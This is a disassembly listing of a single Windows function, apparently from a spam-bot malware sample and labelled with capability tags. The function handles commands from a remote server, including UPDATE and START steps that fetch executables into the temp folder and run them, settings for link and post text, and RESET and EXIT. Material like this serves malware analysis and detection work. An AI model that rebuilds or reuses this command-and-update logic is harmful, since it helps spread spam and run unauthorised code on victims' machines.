Function at 0x401d1c
Capabilities:
Delete file
Get common file path
Terminate process

Disassembly:
mov eax, 0x7ecc
call fcn.00407940
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
call edi
push 0xa
xor edx, edx
pop ebp
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, ebp
div ecx
push edx
call esi
push 0xbb7
lea eax, [esp + 0x1150]
push 0
push eax
call sub.MSVCRT.dll_memset
push 0x12b
lea eax, [esp + 0x30]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
call edi
xor edx, edx
mov ecx, ebp
div ecx
push edx
call esi
push dword [esp + 0x7ee4]
call fcn.0040111a
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1154]
push str.a_df_d
push eax
call ebx
add esp, 0x10
call edi
xor edx, edx
mov ecx, ebp
div ecx
push edx
call esi
push dword [esp + 0x7f00]
lea eax, [esp + 0x24]
push dword [esp + 0x7ef4]
push 1
push 0x40b25c
push str.v_sc_dsfbl_sck_d
push eax
call ebx
add esp, 0x18
call edi
xor edx, edx
mov ecx, ebp
div ecx
push edx
call esi
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1150]
push eax
call sub.MSVCRT.dll_strcat
cmp dword [esp + 0x7efc], 0
pop ecx
pop ecx
je 0x401e33
cmp dword [esp + 0x7ef8], 0
je 0x401e33
push dword [esp + 0x7ef8]
lea eax, [esp + 0x2508]
push dword [esp + 0x7ef8]
push str.hav_shname_s
push eax
call ebx
lea eax, [esp + 0x2514]
push eax
lea eax, [esp + 0x1160]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
push 0x4e1f
lea eax, [esp + 0x30c0]
push 0
push eax
call sub.MSVCRT.dll_memset
and dword [esp + 0x28], 0
add esp, 0xc
call edi
xor edx, edx
mov ecx, ebp
div ecx
push edx
call esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
xor edx, edx
mov ecx, ebp
div ecx
push edx
call esi
lea eax, [esp + 0x1c]
push str.POST
push eax
lea eax, [esp + 0x30c4]
push eax
lea eax, [esp + 0x1158]
push dword [esp + 0x7ef8]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [esp + 0x1160]
push eax
push dword [esp + 0x7f14]
call fcn.00401345
add esp, 0x1c
call edi
xor edx, edx
div ebp
push edx
call esi
mov ebx, dword [esp + 0x7ee0]
and byte [ebx + 0xc0], 0
cmp dword [esp + 0x1c], 0
jbe 0x402663
lea eax, [esp + 0x30bc]
push 0x40b1e4
push eax
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
test eax, eax
pop ecx
je 0x402663
push eax
call dword [sym.imp.MSVCRT.dll__strdup]
mov ebp, eax
push ebp
mov dword [esp + 0x18], ebp
call sub.MSVCRT.dll_strlen
pop ecx
test eax, eax
pop ecx
jbe 0x4025e2
push ebp
call sub.MSVCRT.dll_strlen
cmp byte [eax + ebp - 1], 0xd
pop ecx
jne 0x401f1e
push ebp
call sub.MSVCRT.dll_strlen
and byte [eax + ebp - 1], 0
pop ecx
call edi
push 0
call esi
push 0x40b35c
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
push eax
call esi
push 0x40b144
push ebp
call dword [sym.imp.MSVCRT.dll_strstr]
push 0x40b35c
mov ebp, eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0xc
push eax
call esi
test ebp, ebp
je 0x4025a2
and byte [ebp], 0
push str.FBTARGETPERPOST
push dword [esp + 0x14]
inc ebp
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x401f82
push ebp
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov dword [ebx + 0xd4], eax
push str.TINYURL
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402013
push 0x40b144
push ebp
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x402000
push 0x40b144
push ebp
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
test eax, eax
pop ecx
je 0x402013
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
test eax, eax
setne al
mov dword [esp], 0x40b144
push 0
mov byte [ebx + 0xc0], al
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
mov dword [esp + 0x18], eax
test eax, eax
pop ecx
je 0x402013
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea ecx, [ebx + 0xc4]
push dword [esp + 0x18]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
jmp 0x402013
push ebp
call dword [sym.imp.MSVCRT.dll_atoi]
test eax, eax
setne al
pop ecx
mov byte [ebx + 0xc0], al
push str.SHARELINK
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40203b
push ebp
call dword [sym.imp.MSVCRT.dll_atoi]
test eax, eax
setne al
pop ecx
mov byte [ebx + 0xc1], al
push str.MPOST
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402063
push ebp
call dword [sym.imp.MSVCRT.dll_atoi]
test eax, eax
setne al
pop ecx
mov byte [ebx + 0xc2], al
push str.PARAMS
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4020e5
push 0x40b144
push ebp
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x4020d0
push 0x40b144
push ebp
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x4020e5
and byte [eax], 0
inc eax
push ebp
mov dword [esp + 0x18], eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0xec]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push dword [esp + 0x14]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea ecx, [ebx + 0xfc]
push dword [esp + 0x18]
jmp 0x4020df
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0xec]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.SWFMODE
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40216c
push 0x40b144
push ebp
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x40215e
push 0x40b144
push ebp
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
test eax, eax
pop ecx
je 0x40216c
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov dword [esp], 0x40b144
push 0
mov dword [ebx + 0xd8], eax
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
mov dword [esp + 0x18], eax
test eax, eax
pop ecx
je 0x40216c
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea ecx, [ebx + 0xdc]
push dword [esp + 0x18]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
jmp 0x40216c
push ebp
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov dword [ebx + 0xd8], eax
push str.UPDATE
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402299
lea eax, [esp + 0x94c]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
and byte [esp + eax + 0x94c], 0
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push eax
lea eax, [esp + 0x950]
push eax
lea eax, [esp + 0x154]
push str._s_tt__d.exe
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x14c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
and dword [esp + 0x14], 0
push dword [esp + 0x14]
lea eax, [esp + 0x1d08]
push str.c:_tmark24_d.dat
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x1d10]
push 0x40b160
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x14
mov dword [esp + 0x18], eax
test eax, eax
jne 0x4025f7
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0x2710
jl 0x402217
push eax
lea ecx, [esp + 0x150]
push eax
push ecx
push ebp
push eax
call fcn.00402adc
add esp, 0x14
mov dword [esp + 0x14], eax
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
cmp dword [esp + 0x14], 0
je 0x402611
push str.WAIT
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4022bf
push ebp
call dword [sym.imp.MSVCRT.dll_atoi]
imul eax, eax, 0xea60
pop ecx
push eax
call esi
push str.START
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4023c1
lea eax, [esp + 0xd4c]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
and byte [esp + eax + 0xd4c], 0
push 0
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push eax
lea eax, [esp + 0xd50]
push eax
lea eax, [esp + 0x554]
push str._s_tt__d.exe
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [esp + 0x54c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
and dword [esp + 0x14], 0
push dword [esp + 0x14]
lea eax, [esp + 0x2108]
push str.c:_tmark25_d.dat
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x2110]
push 0x40b160
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x14
mov dword [esp + 0x18], eax
test eax, eax
jne 0x402641
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0x2710
jl 0x40232e
push eax
lea ecx, [esp + 0x550]
push eax
push ecx
push ebp
push eax
call fcn.00402adc
add esp, 0x14
test eax, eax
jne 0x4023c1
push eax
lea eax, [esp + 0x550]
push eax
call fcn.004012cd
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 0xc
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push 0x14
add eax, ebx
xor edx, edx
pop ecx
div ecx
push edx
call esi
mov ebx, dword [esp + 0x7ee0]
push str.DOMAIN_B
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4023e7
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.TITLE_B
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40240e
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0x10]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.TEXT_B
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402435
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0x20]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.LINKTEXT_B
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40245c
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0x30]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.DOMAIN_M
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402483
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0x40]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.TITLE_M
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4024aa
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0x50]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.TEXT_M
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4024d1
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0x60]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.LINKTEXT_M
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4024f8
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0x70]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.LINK_M
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402522
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0xb0]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.DOMAIN_C
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40254c
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0x80]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.TEXT_C
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402576
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0x90]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.LINKTEXT_C
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4025de
push ebp
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push ebp
lea ecx, [ebx + 0xa0]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
jmp 0x4025de
push str.RESET
push dword [esp + 0x14]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x4025ca
mov ebp, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push str.c:windows_f49f4d98.dat
call ebp
push str.c:windows_f49f4d99.dat
call ebp
push str.EXIT
push dword [esp + 0x14]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x40265b
mov ebp, dword [esp + 0x10]
push ebp
call dword [sym.imp.MSVCRT.dll_free]
mov dword [esp], 0x40b1e4
push 0
jmp 0x401ed7
push 0xc8
call esi
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 0
call dword [sym.imp.MSVCRT.dll_exit]
cmp dword [esp + 0x7ee8], 0
je 0x402628
push dword [esp + 0x7ee8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [esp + 0x14c]
push 0
push eax
call fcn.004012cd
pop ecx
pop ecx
push 0
call dword [sym.imp.MSVCRT.dll_exit]
push 0xc8
call esi
push dword [esp + 0x18]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 0
call dword [sym.imp.MSVCRT.dll_exit]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7ecc
ret